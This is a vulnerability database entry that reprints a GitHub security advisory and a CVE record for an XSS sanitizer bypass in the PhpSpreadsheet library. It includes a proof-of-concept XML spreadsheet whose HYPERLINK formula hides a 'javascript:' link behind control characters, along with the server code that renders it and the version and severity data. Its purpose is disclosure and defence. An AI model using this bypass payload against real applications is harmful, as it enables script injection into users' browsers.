GHSA-R57H-547H-W24F

Vulnerability from github – Published: 2025-02-03 15:39 – Updated: 2025-03-06 18:22

Summary

PhpSpreadsheet allows bypassing of XSS sanitizer using the javascript protocol and special characters

Details

Product: PhpSpreadsheet Version: 3.8.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) CVSS vector v.4.0: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N) Description: an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link Impact: executing arbitrary JavaScript code in the browser Vulnerable component: class PhpOffice\PhpSpreadsheet\Writer\Html, method generateRow Exploitation conditions: a user viewing a specially generated xml file Mitigation: additional sanitization of special characters in a string Researcher: Igor Sak-Sakovskiy (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Bypass XSS sanitizer using the javascript protocol and special characters in Phpspreadsheet. The following code is written on the server, which translates the XML file into an HTML representation and displays it in the response.

Listing 4. Source code on the server

<?php

require __DIR__ . '/vendor/autoload.php';

$inputFileType = 'Xml';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType);  

$inputFileName = './doc/file.xml';
$spreadsheet = $reader->load($inputFileName); 

$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); 
print($writer->generateHTMLAll());

The contents of the xml file - ./doc/file.xml

Listing 5. The contents of the xml file

<?xml version="1.0"?> 
<?mso-application progid="Excel.Sheet"?> 
<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet" 
 xmlns:o="urn:schemas-microsoft-com:office:office" 
 xmlns:x="urn:schemas-microsoft-com:office:excel" 
 xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet" 
 xmlns:html="http://www.w3.org/TR/REC-html40"> 
 <DocumentProperties xmlns="urn:schemas-microsoft-com:office:office"> 
  <Author>author</Author> 
  <LastAuthor>author</LastAuthor> 
  <Created>2015-06-05T18:19:34Z</Created> 
  <LastSaved>2024-12-25T10:16:07Z</LastSaved> 
  <Version>16.00</Version> 
 </DocumentProperties> 
 <OfficeDocumentSettings xmlns="urn:schemas-microsoft-com:office:office"> 
  <AllowPNG/> 
 </OfficeDocumentSettings> 
 <ExcelWorkbook xmlns="urn:schemas-microsoft-com:office:excel"> 
  <WindowHeight>11020</WindowHeight> 
  <WindowWidth>19420</WindowWidth> 
  <WindowTopX>32767</WindowTopX> 
  <WindowTopY>32767</WindowTopY> 
  <ProtectStructure>False</ProtectStructure> 
  <ProtectWindows>False</ProtectWindows> 
 </ExcelWorkbook> 
 <Styles> 
  <Style ss:ID="Default" ss:Name="Normal"> 
   <Alignment ss:Vertical="Bottom"/> 
   <Borders/> 
   <Font ss:FontName="Calibri" x:Family="Swiss" ss:Size="11" ss:Color="#000000"/> 
   <Interior/> 
   <NumberFormat/> 
   <Protection/> 
  </Style> 
  <Style ss:ID="s16"> 
   <NumberFormat ss:Format="General Date"/> 
  </Style> 
 </Styles> 
 <Worksheet ss:Name="Лист1"> 
  <Table ss:ExpandedColumnCount="2" ss:ExpandedRowCount="6" x:FullColumns="1" 
   x:FullRows="1" ss:DefaultRowHeight="14.5"> 
   <Column ss:AutoFitWidth="0" ss:Width="194"/> 
   <Row> 
     <Cell ss:Formula="=HYPERLINK (CHAR(20) &amp; &quot;j&quot; &amp; CHAR(13) &amp; &quot;avascript:alert(1)&quot;)"><Data ss:Type="String"></Data></Cell> 
   </Row> 
  </Table> 
  <WorksheetOptions xmlns="urn:schemas-microsoft-com:office:excel"> 
   <PageSetup> 
    <Header x:Margin="0.3"/> 
    <Footer x:Margin="0.3"/> 
    <PageMargins x:Bottom="0.75" x:Left="0.7" x:Right="0.7" x:Top="0.75"/> 
   </PageSetup> 
   <Selected/> 
   <TopRowVisible>1</TopRowVisible> 
   <Panes> 
    <Pane> 
     <Number>3</Number> 
     <ActiveRow>6</ActiveRow> 
    </Pane> 
   </Panes> 
   <ProtectObjects>False</ProtectObjects> 
   <ProtectScenarios>False</ProtectScenarios> 
  </WorksheetOptions> 
 </Worksheet>
</Workbook>

Due to the load with a special character in front of the javascript protocol, the execution flow hits line 1595, not 1593.

Figure 4. Generating a link bypassing a regular expression fig4

In the response from the server, you can see which special character is located in front of the javascript protocol after conversion.

Figure 5. Response from the server with a special character fig5

When viewing the rendered result, a link becomes visible in the browser, and when clicked, the embedded JavaScript code will be executed.

Figure 6. Executing JavaScript code fig6

Credit

Igor Sak-Sakovskiy (Positive Technologies)

Severity ?

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

4.8 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Show details on source website

JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.29.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.3.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpexcel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-23210"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-03T15:39:31Z",
    "nvd_published_at": "2025-02-03T22:15:28Z",
    "severity": "MODERATE"
  },
  "details": "**Product:** PhpSpreadsheet\n**Version:** 3.8.0\n**CWE-ID:** CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)\n**CVSS vector v.3.1:** 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)\n**CVSS vector v.4.0:** 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N)\n**Description:** an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link\n**Impact:** executing arbitrary JavaScript code in the browser\n**Vulnerable component:** class `PhpOffice\\PhpSpreadsheet\\Writer\\Html`, method `generateRow`\n**Exploitation conditions:** a user viewing a specially generated xml file\n**Mitigation:** additional sanitization of special characters in a string\n**Researcher: Igor Sak-Sakovskiy (Positive Technologies)**\n\n# Research\n\nThe researcher discovered zero-day vulnerability Bypass XSS sanitizer using the javascript protocol and special characters in Phpspreadsheet.\nThe following code is written on the server, which translates the XML file into an HTML representation and displays it in the response.\n\n*Listing 4. Source code on the server*\n\n```\n\u003c?php\n\nrequire __DIR__ . \u0027/vendor/autoload.php\u0027;\n\n$inputFileType = \u0027Xml\u0027;\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader($inputFileType);  \n\n$inputFileName = \u0027./doc/file.xml\u0027;\n$spreadsheet = $reader-\u003eload($inputFileName); \n \n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet); \nprint($writer-\u003egenerateHTMLAll());\n```\nThe contents of the xml file - `./doc/file.xml`\n\n*Listing 5. The contents of the xml file*\n```\n\u003c?xml version=\"1.0\"?\u003e \n\u003c?mso-application progid=\"Excel.Sheet\"?\u003e \n\u003cWorkbook xmlns=\"urn:schemas-microsoft-com:office:spreadsheet\" \n xmlns:o=\"urn:schemas-microsoft-com:office:office\" \n xmlns:x=\"urn:schemas-microsoft-com:office:excel\" \n xmlns:ss=\"urn:schemas-microsoft-com:office:spreadsheet\" \n xmlns:html=\"http://www.w3.org/TR/REC-html40\"\u003e \n \u003cDocumentProperties xmlns=\"urn:schemas-microsoft-com:office:office\"\u003e \n  \u003cAuthor\u003eauthor\u003c/Author\u003e \n  \u003cLastAuthor\u003eauthor\u003c/LastAuthor\u003e \n  \u003cCreated\u003e2015-06-05T18:19:34Z\u003c/Created\u003e \n  \u003cLastSaved\u003e2024-12-25T10:16:07Z\u003c/LastSaved\u003e \n  \u003cVersion\u003e16.00\u003c/Version\u003e \n \u003c/DocumentProperties\u003e \n \u003cOfficeDocumentSettings xmlns=\"urn:schemas-microsoft-com:office:office\"\u003e \n  \u003cAllowPNG/\u003e \n \u003c/OfficeDocumentSettings\u003e \n \u003cExcelWorkbook xmlns=\"urn:schemas-microsoft-com:office:excel\"\u003e \n  \u003cWindowHeight\u003e11020\u003c/WindowHeight\u003e \n  \u003cWindowWidth\u003e19420\u003c/WindowWidth\u003e \n  \u003cWindowTopX\u003e32767\u003c/WindowTopX\u003e \n  \u003cWindowTopY\u003e32767\u003c/WindowTopY\u003e \n  \u003cProtectStructure\u003eFalse\u003c/ProtectStructure\u003e \n  \u003cProtectWindows\u003eFalse\u003c/ProtectWindows\u003e \n \u003c/ExcelWorkbook\u003e \n \u003cStyles\u003e \n  \u003cStyle ss:ID=\"Default\" ss:Name=\"Normal\"\u003e \n   \u003cAlignment ss:Vertical=\"Bottom\"/\u003e \n   \u003cBorders/\u003e \n   \u003cFont ss:FontName=\"Calibri\" x:Family=\"Swiss\" ss:Size=\"11\" ss:Color=\"#000000\"/\u003e \n   \u003cInterior/\u003e \n   \u003cNumberFormat/\u003e \n   \u003cProtection/\u003e \n  \u003c/Style\u003e \n  \u003cStyle ss:ID=\"s16\"\u003e \n   \u003cNumberFormat ss:Format=\"General Date\"/\u003e \n  \u003c/Style\u003e \n \u003c/Styles\u003e \n \u003cWorksheet ss:Name=\"\u041b\u0438\u0441\u04421\"\u003e \n  \u003cTable ss:ExpandedColumnCount=\"2\" ss:ExpandedRowCount=\"6\" x:FullColumns=\"1\" \n   x:FullRows=\"1\" ss:DefaultRowHeight=\"14.5\"\u003e \n   \u003cColumn ss:AutoFitWidth=\"0\" ss:Width=\"194\"/\u003e \n   \u003cRow\u003e \n     \u003cCell ss:Formula=\"=HYPERLINK (CHAR(20) \u0026amp; \u0026quot;j\u0026quot; \u0026amp; CHAR(13) \u0026amp; \u0026quot;avascript:alert(1)\u0026quot;)\"\u003e\u003cData ss:Type=\"String\"\u003e\u003c/Data\u003e\u003c/Cell\u003e \n   \u003c/Row\u003e \n  \u003c/Table\u003e \n  \u003cWorksheetOptions xmlns=\"urn:schemas-microsoft-com:office:excel\"\u003e \n   \u003cPageSetup\u003e \n    \u003cHeader x:Margin=\"0.3\"/\u003e \n    \u003cFooter x:Margin=\"0.3\"/\u003e \n    \u003cPageMargins x:Bottom=\"0.75\" x:Left=\"0.7\" x:Right=\"0.7\" x:Top=\"0.75\"/\u003e \n   \u003c/PageSetup\u003e \n   \u003cSelected/\u003e \n   \u003cTopRowVisible\u003e1\u003c/TopRowVisible\u003e \n   \u003cPanes\u003e \n    \u003cPane\u003e \n     \u003cNumber\u003e3\u003c/Number\u003e \n     \u003cActiveRow\u003e6\u003c/ActiveRow\u003e \n    \u003c/Pane\u003e \n   \u003c/Panes\u003e \n   \u003cProtectObjects\u003eFalse\u003c/ProtectObjects\u003e \n   \u003cProtectScenarios\u003eFalse\u003c/ProtectScenarios\u003e \n  \u003c/WorksheetOptions\u003e \n \u003c/Worksheet\u003e\n\u003c/Workbook\u003e\n```\n\nDue to the load with a special character in front of the javascript protocol, the execution flow hits line 1595, not 1593.\n \n*Figure 4. Generating a link bypassing a regular expression*\n![fig4](https://github.com/user-attachments/assets/9bd2299d-9045-4cab-b3a5-cbcaf3bbe23c)\n\nIn the response from the server, you can see which special character is located in front of the javascript protocol after conversion.\n \n*Figure 5. Response from the server with a special character*\n![fig5](https://github.com/user-attachments/assets/3fecbd9b-b08e-4797-9f5d-06911f857059)\n\nWhen viewing the rendered result, a link becomes visible in the browser, and when clicked, the embedded JavaScript code will be executed.\n\n*Figure 6. Executing JavaScript code*\n\u003cimg width=\"595\" alt=\"fig6\" src=\"https://github.com/user-attachments/assets/b8ff1aeb-ba3b-49c1-a3b4-9e2cc1fc52d1\" /\u003e\n_____________________________________________\n\n## Credit\n\nIgor Sak-Sakovskiy (Positive Technologies)",
  "id": "GHSA-r57h-547h-w24f",
  "modified": "2025-03-06T18:22:55Z",
  "published": "2025-02-03T15:39:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-r57h-547h-w24f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23210"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/cde2926a9e2baf146783f8fd1771bbed7d1dc7b3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PhpSpreadsheet allows bypassing of XSS sanitizer using the javascript protocol and special characters"
}

CVE-2025-23210 (GCVE-0-2025-23210)

Vulnerability from cvelistv5 – Published: 2025-02-03 21:14 – Updated: 2025-02-04 15:33

Summary

phpoffice/phpspreadsheet is a pure PHP library for reading and writing spreadsheet files. Affected versions have been found to have a Bypass of the Cross-site Scripting (XSS) sanitizer using the javascript protocol and special characters. This issue has been addressed in versions 3.9.0, 2.3.7, 2.1.8, and 1.29.9. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Severity ?

4.8 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/PHPOffice/PhpSpreadsheet/secur…	x_refsource_CONFIRM
	https://github.com/PHPOffice/PhpSpreadsheet/commi…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	PHPOffice	PhpSpreadsheet	Affected: >= 3.0.0, < 3.9.0 Affected: >= 2.2.0, < 2.3.7 Affected: >= 2.0.0, < 2.1.8 Affected: < 1.29.9

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-23210",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-02-04T15:33:22.331092Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-02-04T15:33:39.661Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "PhpSpreadsheet",
          "vendor": "PHPOffice",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.0.0, \u003c 3.9.0"
            },
            {
              "status": "affected",
              "version": "\u003e= 2.2.0, \u003c 2.3.7"
            },
            {
              "status": "affected",
              "version": "\u003e= 2.0.0, \u003c 2.1.8"
            },
            {
              "status": "affected",
              "version": "\u003c 1.29.9"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "phpoffice/phpspreadsheet is a pure PHP library for reading and writing spreadsheet files. Affected versions have been found to have a Bypass of the Cross-site Scripting (XSS) sanitizer using the javascript protocol and special characters. This issue has been addressed in versions 3.9.0, 2.3.7, 2.1.8, and 1.29.9. Users are advised to upgrade. There are no known workarounds for this vulnerability."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 4.8,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "LOW",
            "subIntegrityImpact": "LOW",
            "userInteraction": "ACTIVE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "LOW",
            "vulnIntegrityImpact": "LOW"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-02-03T21:14:57.255Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-r57h-547h-w24f",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-r57h-547h-w24f"
        },
        {
          "name": "https://github.com/PHPOffice/PhpSpreadsheet/commit/cde2926a9e2baf146783f8fd1771bbed7d1dc7b3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/cde2926a9e2baf146783f8fd1771bbed7d1dc7b3"
        }
      ],
      "source": {
        "advisory": "GHSA-r57h-547h-w24f",
        "discovery": "UNKNOWN"
      },
      "title": "Bypass XSS sanitizer using the javascript protocol and special characters in phpoffice/phpspreadsheet"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-23210",
    "datePublished": "2025-02-03T21:14:57.255Z",
    "dateReserved": "2025-01-13T17:15:41.051Z",
    "dateUpdated": "2025-02-04T15:33:39.661Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

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